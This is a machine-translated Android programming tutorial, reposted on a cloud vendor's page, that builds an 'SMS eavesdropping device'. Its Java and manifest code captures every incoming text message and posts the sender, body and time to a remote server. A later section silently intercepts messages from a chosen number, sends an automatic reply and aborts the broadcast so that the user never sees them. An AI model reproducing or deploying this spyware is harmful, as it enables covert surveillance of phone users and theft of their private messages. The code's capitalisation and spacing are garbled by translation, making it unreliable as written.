The realization method of SMS bug in Android programming _android

Source: Internet
Author: User

This article is an example of the implementation of the SMS eavesdropping device for Android programming. Share to everyone for your reference, specific as follows:

Server:

1, modify the frombean:videoform to increase SMS time, content and sender properties.

2, Videomanageaction added Method Getsms () to get the short message sent by the bug.

Public Actionforward getsms (actionmapping mapping, actionform form,
httpservletrequest request, HttpServletResponse response)
throws Exception {
Videoform Formbean = (videoform) Form;
SYSTEM.OUT.PRINTLN ("Send time:" + formbean.gettime ());
System.out.println ("Who sent her the message:" + Formbean.getsender ());
System.out.println ("content:" + formbean.getcontent ());
return Mapping.findforward (' result ');
}

Client Sms_listener

1. Subscribe to the broadcast in the list file

<receiver android:name= ". Mysmslistener ">
 <intent-filter>
   <action android:name=" android.provider.Telephony.SMS_ RECEIVED "/>
 </intent-filter>
</receiver>

Add SMS receive permissions, access network permissions

<uses-permission android:name= "Android.permission.INTERNET"/>
<uses-permission android:name= " Android.permission.RECEIVE_SMS "/>

2, Client Mysmslistener.java

Function: Receive SMS broadcast, receiving and parsing SMS and sending to server side for background printing

Import Java.text.SimpleDateFormat;
Import Java.util.Date;
Import Java.util.HashMap;
Import Java.util.Map;
Import Cn.class3g.utils.SocketHttpRequester; ... public class Mysmslistener extends Broadcastreceiver {public void OnReceive (context context, Intent Intent) {object[]
PDUs = (object[]) Intent.getextras (). Get ("PDUs"); if (PDUs!= null && pdus.length > 0) {smsmessage[] messages = new Smsmessage[pdus.length]; for (int i = 0; I & Lt Messages.length; i++) {byte[] PDU = (byte[]) pdus[i]; Messages[i] = SMSMESSAGE.CREATEFROMPDU (PDU);} for (Smsmessage msg:messages) {Str
ing content = msg.getmessagebody ();
String sender = Msg.getoriginatingaddress ();
Date date = new Date (Msg.gettimestampmillis ());
SimpleDateFormat SDF = new SimpleDateFormat ("Yyyy-mm-dd HH:mm:ss");
String sendtime = Sdf.format (date);
map<string,string> param = new hashmap<string,string> ();
Param.put ("Method", "getsms");
Param.put ("sender", sender);
Param.put ("content", content); Param.put ("Time"), Sendtime);
String Path = "Http://192.168.1.100:8080/videoweb/video/manage.do";
try {sockethttprequester.post (path, param, "UTF-8");} catch (Exception e) {log.e ("TAG", e.tostring ());}

 }
}
}

Smsmessage

public static Smsmessage CREATEFROMPDU (byte[] PDU)

Create a smsmessage from the original PDU (protocol description units). This method is important when we are writing a SMS receiver that uses the bytes it obtains from the broadcast intent we receive to create Smsmessage.

Public String getoriginatingaddress ()

Returns the caller address of the SMS information as string, or null if unavailable.

Public String Getmessagebody ()

Returns the body of the message as a string if it exists and is text-based.

Message Manager: Smsmanager

1. Android.telephony.gsm.SmsManager should be used before Android 2.0
Afterwards should use Android.telephony.SmsManager;

2). Get the system default SMS Manager

Smsmanager Smsmanager = Smsmanager.getdefault ();

3. Split text messages by the maximum number of words per message

list<string> dividecontents = smsmanager.dividemessage (content);

4). Send SMS

Smsmanager.sendtextmessage (destinationaddress, scaddress, text, sentintent, deliveryintent)

--destinationaddress: Target phone number
--scaddress: SMS Center number, test can not fill
--Text: SMS Content
--sentintent: Send--> China Mobile--> send failure--> return send success or failure signal--> subsequent processing that is, this intent to package the message sent status information
--deliveryintent: Send--> China Mobile--> to send a successful--> back to the other side whether received this information--> follow-up processing that is: this intention to wrap the message is received by the other side of the status information (the supplier has sent success, but the other party did not have received).

5). Declare the message send permission

* Androidmanifest.xml
<uses-permission android:name= "Android.permission.SEND_SMS"/>

3, further add the client function: will listen to the designated SMS interception and automatic response

Add SMS Send permission:

<uses-permission android:name= "Android.permission.SEND_SMS"/>
Add the code to the Mysmslistener onreceive as follows

String sendcontent = Sdf.format (date) + ":" + Sender + "--"
+ content;
LOG.I ("TAG", sendcontent);
if (sender!= null && sender.endswith ("5556")) {//5556. Equals (sender)) {
Smsmanager Smsmanager = Smsmanager.getdefault ();
Smsmanager.sendtextmessage ("5556", NULL, "Game Over", null,null);
This.abortbroadcast (); Terminate broadcast
}

Test:

Start another simulator, send a text message to the emulator that deploys the client, view the server-side background output, and observe whether the client's running simulator has a text message.

I hope this article will help you with the Android program.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.